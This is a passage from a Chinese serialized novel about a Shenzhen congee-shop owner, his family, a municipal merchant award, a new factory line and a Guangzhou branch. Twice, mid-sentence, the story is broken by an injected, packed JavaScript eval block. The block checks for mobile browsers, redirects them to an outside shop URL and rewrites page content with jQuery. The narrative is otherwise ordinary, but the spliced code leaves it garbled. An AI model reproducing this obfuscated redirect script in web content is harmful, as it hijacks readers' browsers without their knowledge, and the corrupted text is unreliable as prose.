“能，能。”郑文达说，“陈老板，我还有个想法。” “您说。” “咱们的粥料，能不能做成杯装的？像方便面那样，加开水泡几分钟就能吃。”郑文达说，“现在年轻人图方便，杯装肯定好卖。” 陈永福皱眉：“杯装？那得用特殊材料，成本高。” “成本高，但价格也高。”郑文达说，“一盒方便面卖五毛，咱们的杯装粥，卖六毛，贵一毛，但健康。” “技术上……” “技术上不难，我认识个台湾厂家，做这个的。”郑文达说，“陈老板，你要是同意，我去联系。” 陈永福想了想：“先了解了解，别急着定。” “好。” 郑文达走了。陈永福问小林：“杯装粥，能做吗？” “能做，但要买新设备，改工艺。”小林说，“陈老板，我觉得可以试试。现在方便食品是趋势，杯装粥有市场。” “你先研究研究，做个预算。” “行。” 从工厂出来，陈永福去银行。贷款要还第一期，八千块。他取了钱，排队还贷。前面有个男人在跟柜员吵架，说是利息算错了。吵了很久，最后保安来了才劝开。 轮到陈永福，他递上钱。柜员数了数，开了收据。 “陈先生，下个月十五号还第二期。” “知道。” 走出银行，陈永福觉得心里空了一块。八千块，就这样没了。但没办法，贷了就要还。 回到罗湖店，王建军在教小周记账。看见陈永福来，两人停下。 “老板，有客人找你。”王建军说。 “谁？” “说是街道办事处的。” 陈永福去办公室。里面坐着个中年女人，穿着灰色西装，短发，很干练。 “陈老板，你好，我姓张，街道办的。” “张主任好，什么事？” “是这样，市里要评‘文明商户’，咱们街道推荐了你。”张主任拿出表格，“你填一下，再准备些材料，比如卫生许可证、员工健康证、纳税证明这些。” “文明商户？” “对，评上了有奖励，还能上报纸。”张主任说，“陈老板，你是咱们街道的骄傲，要争取。” 陈永福接过表格，密密麻麻的，要填的内容很多。 “张主任，我……” “别推辞，这是好事。”张主任站起来，“材料准备好，下周交到办事处。我先走了。” 送走张主任，陈永福看着表格发愣。文明商户，上报纸，又是虚名。但他知道，不能拒绝。街道办的面子要给。 晚上回家，跟林玉兰说了。林玉兰倒是高兴：“阿福，这是荣誉，要争取。” “我知道，就是又要忙。” “我帮你准备材料。”林玉兰说，“卫生许可证在哪儿？健康证呢？纳税证明呢？” “在工厂办公室。” “明天我去拿。” 第二天，林玉兰真去工厂拿材料。她带着晓梅，坐公交车去。到了工厂，小林看见她，赶紧迎上来。 “老板娘，您怎么来了？” “我来拿材料。”林玉兰说，“阿福要评文明商户。” “好事啊，材料在办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380757|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室，我带您去。” 林玉兰在办公室找材料，晓梅在学步车里玩。小林逗她：“晓梅，叫叔叔。” 晓梅眨巴着眼睛，不叫。 “这孩子，怕生。”林玉兰笑，“她阿爸在家，她就疯；一出来，就老实。” “孩子都这样。”小林说，“老板娘，陈老板最近太累了，您劝劝他，多休息。” “我说了，他不听。”林玉兰叹口气，“你们也帮我劝劝。” “好。” 拿了材料，林玉兰坐车回家。车上人多，她护着晓梅，怕挤着。有个年轻人给她让座，她连说谢谢。 回到家，开始整理材料。一张一张，分门别类。卫生许可证要复印，健康证要装订，纳税证明要盖章。忙了一下午。 晚上陈永福回来，看见整整齐齐的材料，愣了。 “玉兰，你弄的？” “嗯，你看看，还缺什么。” 陈永福翻了翻，齐全了。 “谢谢你，玉兰。” “谢什么，一家人。”林玉兰说，“阿福，这些虚名，咱不图。但既然要评，就要评上。这是对咱们的肯定。” “我知道。” 填表格，写材料，忙到半夜。陈永福写了三年的发展历程，从老街粥铺写到现在。写着写着，自己都感慨。三年，真快。 第二天，他把材料交到办事处。张主任看了，点头：“陈老板，材料很全，很好。下周评审组来检查，你准备一下。” “检查什么？” “卫生，服务，管理，这些。”张主任说，“陈老板，你的店我知道，没问题。但还是要准备，别出岔子。” “好，我准备。” 回到店里，陈永福召集所有员工开会。王建军、小周、刘师傅，还有几个服务员。 “下周有检查，评文明商户。”陈永福说，“这几天，卫生要搞好，服务要周到。别出差错。” “老板放心，我们一定做好。”王建军说。 “刘师傅，后厨是关键，不能有死角。” “知道，我擦三遍。” “小周，前台要热情，但别过分。” “嗯。” 散了会，陈永福去南山店、福田店，同样交代。员工们都说好，保证不出问题。 但越是保证，陈永福越不放心。他每天三家店来回跑，检查卫生，检查服务。累，但不敢松。 父亲在仓库也听说了，跟工人说：“这几天仔细点，别给我儿子丢脸。” 工人们笑：“陈叔，您放心，我们一定仔细。” 检查前一天，陈永福失眠了。躺在床上，脑子里过电影：灶台擦了吗？冰箱清了吗？员工健康证齐吗？账本清楚吗？ “阿福，睡吧。”林玉兰轻声说。 “睡不着。” “别想了，该做的都做了。”林玉兰拍拍他，“睡吧，明天还要早起。” 陈永福闭上眼睛，但脑子还在转。 第二天，检查组来了。五个人，有街道的，有工商的，有卫生的。先看罗湖店，里里外外看了个遍。灶台，冰箱，仓库，卫生间。又看账本，看健康证。 陈永福陪着，手心出汗。 “陈老板，你这里不错。”一个检查员说，“卫生达标，管理规范。” “谢谢领导。” 接着去南山店、福田店。同样检查，同样过关。 最后到工厂。车间，仓库，实验室，都看了。父亲在仓库，站得笔直。检查员问什么，他答什么，清清楚楚。 “老陈，你这仓库管得好。”检查员说，“东西整齐，账目清楚。” 父亲笑了：“应该的。” 检查结束，张主任对陈永福说：“陈老板，没问题，等着好消息吧。” “谢谢张主任。” 送走检查组，陈永福长长出了口气。父亲走过来：“永福，怎么样？” “应该能评上。” “那就好。”父亲拍拍他的肩，“我儿子，不给我丢脸。” 陈永福笑了。父亲第一次这么夸他。 几天后，结果出来了。家香粥铺评上了“文明商户”。街道开了表彰会，发了奖牌，还有五百块奖金。 陈永福拿着奖牌回家，挂在客厅墙上。金色的牌子，红色的字，在灯下闪闪发光。 父亲站在牌子前，看了很久。 “永福，这牌子，要传下去。”他说，“以后给你儿子，给你孙子。告诉他们，咱们老陈家，在深圳，凭良心做生意，得了这个牌。” “嗯，传下去。” 晚上，一家人庆祝。林玉兰做了几个菜，开了瓶酒。父亲喝了几杯，脸红了。 “永福，阿爸今天高兴。”他说，“不是高兴你得奖，是高兴你没忘本。粥还是那个粥，人还是那个人。” “阿爸，我忘不了。” “忘不了就好。”父亲端起杯，“来，干一杯。为了咱们家，为了这碗粥。” 大家举杯。 “干！” 酒喝下去，热热的，一直暖到心里。 窗外，深圳的夜，灯火璀璨。 陈永福看着家人，看着墙上的奖牌，看着这个家。 他想，这就是他要守住的。 粥要熬好，家要顾好，人要做好。 别的，随它去。 夜深了，孩子们睡了。父母也睡了。 陈永福和林玉兰坐在阳台上，看着夜景。 “阿福，这一年，真快。”林玉兰说。 “是啊，真快。” “明年会更好吧？” “会更好的。” “不管好不好，咱们在一起就行。” “嗯，在一起就行。” 风吹过来，带着花香。 深圳的春天，真的来了。 24. 雨线 三月底的深圳，雨季说来就来。雨不是下，是泼。哗啦啦地从天上倒下来，砸在玻璃窗上啪啪响。街上的水来不及排，积成小河，黄浊浊的，漂着树叶、塑料袋、一次性饭盒。 陈永福站在工厂办公室的窗前，看着外面白茫茫的雨幕。院子里新到的设备盖着防水布，被雨打得啪啪响。工人们穿着雨衣雨鞋，在雨里跑来跑去，把堆在外面的米袋往仓库里搬。 “陈老板，这雨来得真不是时候。”小林端着茶杯走过来，“赵工说新生产线调试要延后了，电路怕进水。” “延多久？” “最少三天。” 陈永福皱眉。三天，香港的订单要赶不上了。 “让赵工想办法，搭棚子也要干。” “搭了，但雨太大，棚子漏水。”小林说，“安全第一，赵工说得对。” 陈永福没说话，看着雨。雨下得急，像在赶时间。深圳的雨季就是这样，一来就给你个下马威。 手机响了，是郑文达。 “陈老板，香港那边催货，能按时交吗？” “雨太大，生产线调试延后了。”陈永福实话实说，“我尽量赶。” “尽量不行，要保证。”郑文达语气严肃，“合同签了，违约要赔钱。” “我知道。” “知道就要想办法。”郑文达说，“陈老板，做生意要守信。这次交不上，下次人家就不找你了。” “我明白。” 挂了电话，陈永福穿上雨衣，去车间。车间里闷热潮湿，机器盖着防尘布。赵工程师和两个工人在检查线路，看见陈永福来，站起来。 “陈老板，这雨……” “我知道。”陈永福摆摆手，“赵工，能不能先调一部分？雨小点再调剩下的。” “可以是可以，但进度慢。”赵工说，“而且风险大，万一短路，机器就坏了。” “坏了我修。”陈永福说，“赵工，帮个忙，这批货要紧。” 赵工看了看他，又看了看窗外的大雨：“行吧，我试试。但陈老板，你得签个免责书，万一出事，我不负责。” “行，我签。” 拿来纸笔，陈永福签了字。赵工摇摇头，继续干活。 从车间出来，雨小了些。陈永福去仓库。父亲正在清点米袋，拿着本子，一笔一笔记。 “阿爸，米没淋着吧？” “没有，都搬进来了。”父亲说，“就是有些袋子底湿了，得晾。” “晾哪儿？” “我腾出个角落，铺了塑料布。”父亲指了指，“永福，你这米买多了，仓库放不下。” “新生产线上了，用量大。” “那也得慢慢来，一下进太多，吃不完会坏。”父亲说，“生意要做长，不能贪多。” 陈永福点点头。父亲说得对，但他停不下来。订单催着，市场催着，郑文达催着。 “阿爸，我下午要去广州，黄秀英那边开业，我去看看。” “这么大的雨还去？” “去，答应了。” 父亲叹口气：“路上小心。” “知道。” 中午雨停了会儿，陈永福开车去广州。车是去年买的二手桑塔纳，花了五万。平时舍不得开，今天赶时间。 出深圳，上广深公路。路况不好，坑坑洼洼，车颠得厉害。雨又下起来了，雨刷器来回刮，刮不干净。前面有辆车陷在水坑里，堵了一路。等了半个钟头才通。 到广州已经下午三点。黄秀英的新店在白云区，挨着服装批发市场。雨中的广州灰蒙蒙的，街道窄，楼旧，但人不少。打伞的，穿雨衣的，在雨里匆匆走。 店门口挂着红布，写着“家香粥铺广州二店开业大吉”。黄秀英在门口张望，看见陈永福的车，赶紧跑过来。 “老板，您可来了。” “路上堵。”陈永福下车，“开业还顺利？” “顺利，就是雨大，人少点。”黄秀英递过伞，“老板，里面坐。” 店里装修简单，白墙，瓷砖地，二十几张桌子。已经坐了些客人，大多是在批发市场做工的，浑身湿漉漉的，喝着热粥取暖。 “生意怎么样？”陈永福问。 “上午好，卖了三百多碗。”黄秀英说，“下午雨大，人少了。” “正常，雨天都这样。” 黄秀英带他看后厨，看仓库，看员工宿舍。一切都井井有条。这个当年蹲在路灯下哭的女孩，现在能把一家店管得这么好。 “老板，百货公司那边谈下来了。”黄秀英说，“专柜费降到四百，促销员工资咱们出一百。我算过了，只要一个月卖两千包，就能保本。” “两千包？卖得动吗？” “卖得动。”黄秀英很有信心，“我调查过，这边小餐馆多，自己熬粥麻烦，买料包方便。还有住家户，年轻人不会熬粥，也买。” 陈永福想了想：“行，你看着办。但账要清楚，每天报数。” “知道。” 看完店，黄秀英请陈永福吃饭。在附近的小餐馆，点了几个粤菜：白切鸡、清蒸鲈鱼、蚝油生菜。 “老板，广州这边跟深圳不一样。”黄秀英边吃边说，“深圳人来自全国各地，口味杂。广州人本地人多，口味刁。咱们的粥，他们嫌淡。” “那怎么办？” “我加了点本地调料，比如姜丝、葱花，还有他们爱吃的咸菜。”黄秀英说，“慢慢调，总能调出他们喜欢的味道。” 陈永福看着她。黄秀英眼里有光，那是找到了方向的光。 “秀英，你成长了。” “都是老板教得好。”黄秀英不好意思地笑笑，“老板，我想……我想在佛山也开一家。” “这么快？” “佛山离广州近，工人也多。”黄秀英说，“而且我有经验了，知道怎么做。” 陈永福沉默了一会儿。黄秀英的步子迈得太大，他担心。 “秀英，稳一点。先把广州这两家店做好，再去佛山。” “可是机会……” “机会永远有，但命只有一条。”陈永福说，“你太拼了，要注意身体。” 黄秀英低下头：“老板，我……我想多挣点钱，把我爸妈接来。” “接来是好事，但不能急。”陈永福说，“钱慢慢挣，日子慢慢过。” “嗯。” 吃完饭，雨停了。陈永福开车回深圳。路上，他一直在想黄秀英的话。广州市场大，机会多，但风险也大。他该放黄秀英去闯，还是拉着她？ 不知道。 回到深圳，天已经黑了。雨又下起来，淅淅沥沥的。工厂里灯火通明，赵工带着工人在加班调试机器。 “陈老板，回来了？”赵工满头是汗，“调试好了，可以试生产了。” “这么快？” “赶出来的。”赵工说，“但陈老板，我得提醒你，这机器还没完全调好，可能会有小问题。” “能生产就行。” 试生产开始。机器启动，轰鸣声在车间里回荡。米从这边进去，经过一道道工序，最后变成包装好的粥料。速度比旧生产线快一倍。 第一箱产品下线，陈永福拆开一包，煮了尝。味道没问题，包装没问题。 “赵工，辛苦了。” “应该的。”赵工擦擦汗，“陈老板，尾款……” “明天打给你。” “好，好。” 赵工走了。陈永福站在生产线前，看着机器运转。新生产线投产，产能上来了，香港的订单能赶上了。但他心里不踏实，总觉得太快了，像在跑，停不下来。 回到家，已经晚上十点。林玉兰还没睡，在等他。 “怎么这么晚？” “广州去了趟，工厂调试机器。”陈永福脱下雨衣，“孩子们睡了？” “睡了。”林玉兰端出热汤，“喝点，去去寒。” 汤是排骨莲藕汤，炖得烂烂的，入口即化。陈永福喝了一大碗，身上暖和了。 “玉兰，黄秀英想在佛山开店。” “这么快？” “嗯，她说机会好。” “你怎么想？” “我让她稳一点。”陈永福说，“可我也知道，机会不等人。” 林玉兰在他旁边坐下：“阿福，秀英那孩子，像当年的你。敢闯，敢拼。你该让她去。” “我怕她摔跟头。” “摔了才知道疼，才知道怎么站起来。”林玉兰说，“你当年不也摔过？老街拆迁那会儿，你几天几夜睡不着。” 是啊，陈永福想起老街拆迁的时候。那时候觉得天要塌了，现在回头看，不过是个坎。过了坎，路更宽。 “你说得对。”陈永福握住她的手，“玉兰，有你在，我心里踏实。” “傻子。”林玉兰靠在他肩上，“睡吧，明天还要早起。” 第二天，雨还在下。陈永福去银行给赵工打尾款，又还了这个月的贷款。账上的数字又少了一截。 从银行出来，他去了街道办。张主任在办公室，看见他，热情招呼。 “陈老板，正想找你呢。” “张主任，什么事？” “市里要开个体经济座谈会，点名要你去发言。”张主任说，“这回是市领导主持，机会难得。” “我……我不会说话。” “上次不就说得很好？”张主任笑，“陈老板，别谦虚。你现在是典型，要发挥作用。” “什么时候？” “下周三。” 陈永福算算时间，还有五天。 “行，我去。” “好，我让人把会议材料送你。”张主任说，“陈老板，好好准备，这可是露脸的机会。” 从街道办出来，陈永福想，又是开会，又是发言。他不喜欢这些，但推不掉。他现在是“典型”，是“榜样”，要承担这些。 回到工厂，小林兴冲冲地来找他。 “陈老板，杯装粥的样品做出来了，您看看。” 实验室里，几个纸杯摆着。杯身上印着“家香即食粥”，有卡通图案。打开杯盖，里面是米粉和料包。 “怎么吃？” “加热水，泡三分钟。”小林说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380758|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“我试过了，味道还行，但不如煮的好。” 陈永福泡了一杯。三分钟后，揭开盖子，粥成糊状，味道一般，有股塑料味。 “这味道……” “杯子的味道，没办法。”小林说，“陈老板，我觉得杯装粥方向不对。咱们的粥要煮才好喝，泡的不行。” 陈永福也这么觉得。但他想起郑文达的话：方便，年轻人喜欢。 “先放放，再研究。” “好。” 从实验室出来，陈永福去车间。新生产线运转正常，工人两班倒，二十四小时不停。一箱箱产品堆在仓库，等着发货。 父亲在仓库里，戴着老花镜，对账本。 “阿爸，歇会儿。” “不累。”父亲抬起头，“永福，这新生产线出得真快，一天能出多少？” “两万包。” “两万……”父亲算了算，“那得卖多少才能回本？” “慢慢卖，总能卖完。” “就怕卖不完。”父亲合上账本，“永福，阿爸不懂生意，但懂种地。种地要看天，看地，看种子。生意也一样，要看市场，看人，看货。你不能光顾着出，不顾着卖。” 陈永福点点头。父亲的话朴实，但有道理。 “阿爸，我知道了。” “知道就好。”父亲站起来，“走，吃饭去。” 食堂里，工人们正在吃饭。看见陈永福来，都打招呼。饭菜简单，一荤一素，但管饱。父亲打了饭，跟工人们坐一桌，边吃边聊。 陈永福在另一桌坐下。小林端着饭过来。 “陈老板，儿童粥的市场反应来了。”小林拿出几张纸，“超市那边说，卖得一般。家长嫌贵，一包要四毛，够买两个馒头了。” “降价呢？” “降到三毛五，可能好点。”小林说，“但我算了，三毛五利润太薄，划不来。” “先降，把市场打开再说。” “行。” 吃完饭，陈永福去店里。罗湖店生意照常，南山店、福田店也没问题。王建军把“粥友俱乐部”的卡片设计好了，红色的卡片，印着“家香粥友”，背面是十个小格子，盖满章送一碗粥。 “老板，您看行吗？” “行，印吧。” “印多少？” “先印一千张。” “好。” 从店里出来，雨停了。太阳从云缝里露出来，照在湿漉漉的街上，反着光。陈永福慢慢走回家。路上，他看见几个孩子在玩水，踩着水坑，嘻嘻哈哈。他们的父母在旁边看着，笑。 他想起了□□小时候，也爱玩水。现在长大了，不玩了，整天看书学习。时间真快。 回到家，□□在做作业，晓梅在学步车里摇摇晃晃地走。母亲在厨房做饭，林玉兰在收拾屋子。 “回来了？”林玉兰问。 “嗯。” “洗手吃饭。” 饭桌上，□□说：“阿爸，我们老师说要写作文，题目是《我的爸爸》。我写你了。” “写我什么？” “写你熬粥，写你开工厂，写你辛苦。”□□说，“老师说写得好，要贴在墙上。” 陈永福心里一暖：“你阿爸没什么好写的，就一个熬粥的。” “熬粥的怎么了？我们班王小军他爸是科长，我觉得还没你厉害。”□□认真地说，“你能开工厂，他能吗？” 大家都笑了。 “吃饭吃饭，别说了。”母亲夹菜，“永福，多吃点，看你瘦的。” 吃完饭，陈永福帮□□改作文。作文写得朴实，但真情实感。写到父亲深夜还在工厂，写到父亲的手粗糙但有力量，写到父亲说“要对得起每一碗粥”。 陈永福眼睛有点湿。儿子懂事了。 “建国，写得很好。”他说，“但阿爸没你说的那么厉害。” “你就是厉害。”□□坚持，“阿爸，我长大了也要像你一样。” “像阿爸干嘛？阿爸就是个熬粥的。” “熬粥怎么了？能养活一家人，能帮那么多人，就是厉害。” 陈永福摸摸儿子的头，说不出话。 夜深了，孩子们睡了。陈永福坐在书桌前，准备座谈会的发言稿。这次他不打算念稿子了，想讲真话。讲他怎么来深圳，怎么熬粥，怎么开店，怎么开工厂。讲他的困惑，他的压力，他的希望。 他写得很慢，一笔一画。写到老街的老榕树，写到第一个客人，写到拆迁，写到父亲来深圳，写到黄秀英，写到王建军，写到郑文达，写到林玉兰，写到孩子们。 写着写着，他发现自己不是在写发言稿，是在写自己的人生。 这一路，有苦有甜，有笑有泪。但值得。 窗外，雨又下起来了。淅淅沥沥的，像在伴奏。 陈永福放下笔，走到窗前。深圳的夜雨，温柔而坚定，像这座城市，像这里的人。 他知道，前路还长，雨还会下，坎还会有。 但他不怕了。 有家，有粥，有深圳。 睡吧，明天还要早起熬粥。